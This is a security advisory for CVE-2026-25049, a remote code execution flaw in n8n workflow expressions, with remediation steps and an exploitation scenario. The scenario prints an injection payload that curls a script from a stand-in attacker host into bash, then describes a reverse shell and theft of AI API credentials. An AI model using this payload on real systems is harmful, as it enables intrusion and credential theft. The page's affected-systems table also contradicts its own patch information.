CVE-2026-25049
CRITICALCVE-2026-25049 is a CVSS 9.9 RCE vulnerability in n8n, one of the most widely deployed AI agent orchestration platforms. Any authenticated workflow editor — including compromised contractors or insider threats — can execute arbitrary OS commands on the n8n host, which typically has unrestricted access to your AI APIs, databases, and internal services. Patch to 1.123.17 or 2.5.2 immediately; treat any unpatched n8n instance as fully compromised.
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| n8n | npm | — | No patch |
| n8n | npm | — | No patch |
Severity & Risk
Recommended Action
- 1. PATCH: Upgrade n8n to 1.123.17 (v1 branch) or 2.5.2 (v2 branch) immediately — no workaround exists for the expression injection. 2. AUDIT: Review who has workflow create/edit permissions; apply least-privilege — revoke permissions from any non-essential users. 3. ROTATE CREDENTIALS: Rotate all API keys and secrets stored in n8n's credential vault as a precaution. 4. ISOLATE: Run n8n in a container or VM with minimal host privileges; restrict outbound network access to only required endpoints. 5. DETECT: Search logs for unusual workflow executions, unexpected child processes spawned by n8n, or outbound connections to unfamiliar IPs. 6. NETWORK SEGMENTATION: n8n should never have direct access to production databases or credential stores — enforce network segmentation. 7. MFA: Enable MFA on all n8n accounts to raise the bar for account compromise leading to exploitation.
Classification
Compliance Impact
This CVE is relevant to:
Technical Details
NVD Description
n8n is an open source workflow automation platform. Prior to versions 1.123.17 and 2.5.2, an authenticated user with permission to create or modify workflows could abuse crafted expressions in workflow parameters to trigger unintended system command execution on the host running n8n. This issue has been patched in versions 1.123.17 and 2.5.2.
Exploitation Scenario
An adversary with a compromised contractor account (or a disgruntled employee) with workflow-editor permissions opens a legitimate-looking workflow in n8n. They embed a crafted expression such as `{{ $evaluateExpression('require("child_process").execSync("curl attacker.com/shell.sh | bash")') }}` in a node parameter. When the workflow is triggered — either manually or by a scheduled/webhook event — n8n's expression engine evaluates the payload and executes the OS command with n8n's process privileges. The attacker establishes a reverse shell, extracts all AI API credentials (OpenAI, Anthropic, Pinecone, etc.) from n8n's encrypted store, and pivots laterally to connected AI infrastructure. The entire AI agent pipeline is now under adversary control with no visible indicators to end users.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H